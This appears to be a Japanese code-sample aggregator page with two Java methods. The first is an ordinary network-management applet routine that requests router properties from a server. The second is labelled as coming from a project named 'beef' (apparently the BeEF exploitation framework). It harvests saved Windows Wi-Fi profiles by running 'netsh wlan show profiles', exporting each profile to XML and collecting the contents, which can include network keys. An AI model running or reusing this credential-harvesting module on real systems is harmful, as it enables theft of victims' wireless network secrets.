コード例 #1
0
  public void run() {
    String objRouter = applet.getParameter("name");
    // No Internationalisation
    try {
      ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
      DataOutputStream outp = new DataOutputStream(byteStream);
      outp.writeInt(GenericConstants.ROUTER_PROPERTIES);
      outp.writeUTF(objRouter);
      outp.flush();

      byte[] bytes = byteStream.toByteArray();
      outp.close();
      byteStream.reset();
      byteStream.close();
      byte[] data = GenericSession.getInstance().syncSend(bytes);
      if (data != null) {
        DataInputStream inp = new DataInputStream(new ByteArrayInputStream(data));
        int reqId = inp.readInt();
        if (reqId == GenericConstants.ROUTER_PROPERTIES) {
          int length = inp.readInt();
          byte serverData[] = new byte[length];
          inp.readFully(serverData);
          routerobject = NmsClientUtil.deSerializeVector(serverData);
        }

        init();
        refresh();
        super.setVisible(true);
      }
      /*init();
      refresh();
      super.setVisible(true);*/

      else close();

    } catch (Exception e) {
      // NmsClientUtil.err(NmsClientUtil.getFrame(app),"IO Error sending request to server.
      // "+e);//No Internationalisation
    }
  }
コード例 #2
0
ファイル: wirelessZeroConfig.java プロジェクト: navtej/beef
  public static String getWindows() {
    String cmd1 = "netsh wlan show profiles";
    String cmd2 = "netsh wlan export profile name=";
    String keyword1 = "User profiles";
    String wlanProfileArr[];
    String wlanProfileName;
    int match = 0;
    int count = 0;
    ArrayList<String> profileList = new ArrayList<String>();
    try {
      // Get wlan profile names
      Process p1 = Runtime.getRuntime().exec(cmd1);
      BufferedReader in1 = new BufferedReader(new InputStreamReader(p1.getInputStream()));
      String line = null;
      // Checks if string match "User profiles"
      while ((line = in1.readLine()) != null) {
        // Checks if string match "User profiles"
        if (match == 0) {
          if (line.toLowerCase().contains(keyword1.toLowerCase())) {
            match = 1;
          }
        }
        if (match == 1) {
          if (count > 1) {
            // If string matches the keyword "User Profiles"
            line = (line.replaceAll("\\s+$", "").replaceAll("^\\s+", ""));
            if (line.length() > 0) {
              wlanProfileName =
                  (line.split(":")[1]).replaceAll("\\s+$", "").replaceAll("^\\s+", "");
              ;
              profileList.add(wlanProfileName);
            }
          }
          count += 1;
        }
      }
      in1.close();
    } catch (IOException e) {
    }

    try {
      String tmpDir = System.getProperty("java.io.tmpdir");
      if (!(tmpDir.endsWith("/") || tmpDir.endsWith("\\")))
        tmpDir = tmpDir + System.getProperty("file.separator");

      // Export WLAN Profile to XML file
      for (Iterator iterator = profileList.iterator(); iterator.hasNext(); ) {
        String profileName = iterator.next().toString();
        Process p2 = Runtime.getRuntime().exec(cmd2 + '"' + profileName + '"');
        // Check if exported xml exists
        File f = new File(tmpDir + "Wireless Network Connection-" + profileName + ".xml");
        if (f.exists()) {
          // Read contents of XML file into results variable
          FileInputStream fstream = new FileInputStream(f);
          DataInputStream in2 = new DataInputStream(fstream);
          BufferedReader br = new BufferedReader(new InputStreamReader(in2));
          String xmlToStr;
          while ((xmlToStr = br.readLine()) != null) {
            result += xmlToStr;
          }
          in2.close();
        }
      }
    } catch (IOException e) {
    }
    return result;
  }